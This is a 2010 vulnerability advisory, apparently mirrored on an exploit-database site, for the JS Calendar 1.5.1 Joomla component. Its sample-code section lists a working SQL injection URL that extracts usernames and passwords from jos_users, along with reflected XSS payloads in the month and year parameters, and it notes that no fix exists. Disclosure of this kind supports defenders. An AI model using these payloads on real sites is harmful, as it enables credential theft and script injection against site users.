Home / os / win7

[webapps / 0day] - JS Calendar 1.5.1 Joomla Component Multip

Posted on 09 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>JS Calendar 1.5.1 Joomla Component Multiple Remote Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='JS Calendar 1.5.1 Joomla Component Multiple Remote Vulnerabilities by Salvatore Fresta in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>================================================================== JS Calendar 1.5.1 Joomla Component Multiple Remote Vulnerabilities ================================================================== Name JS Calendar Vendor http://www.joomlaseller.com Versions Affected 1.5.1 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-10-09 X. INDEX I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX I. ABOUT THE APPLICATION ________________________ JoomlaSeller - Calendar Event is a powerful Joomla! component which allows you to easily create events and publish them on a desired date. It is a native build component for Joomla! 1.5 version and can easily be installed using the Joomla! back-end Install functionality. II. DESCRIPTION _______________ Some parameters are not properly sanitised before being used in a SQL query or returned to the user. III. ANALYSIS _____________ Summary: A) SQL Injection B) Multiple Reflected XSS A) SQL Injection ________________ Input passed to &quot;ev_id&quot; parameter is not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. B) Multiple XSS _______________ Input passed to the &quot;month&quot; and &quot;year&quot; parameters are not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a users browser session in context of an affected site. IV. SAMPLE CODE _______________ A) SQL Injection http://site/path/index.php?option=com_jscalendar&amp;view=jscalendar&amp;task=details&amp;ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users B) Multiple XSS http://site/path/index.php?option=com_jscalendar&amp;view=jscalendar&amp;month=&lt;script&gt;alert(&#039;XSS&#039;);&lt;/script&gt; http://site/path/index.php?option=com_jscalendar&amp;view=jscalendar&amp;year=&lt;script&gt;alert(&#039;XSS&#039;);&lt;/script&gt; V. FIX ______ No fix. # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-09]</pre></body></html>

 

TOP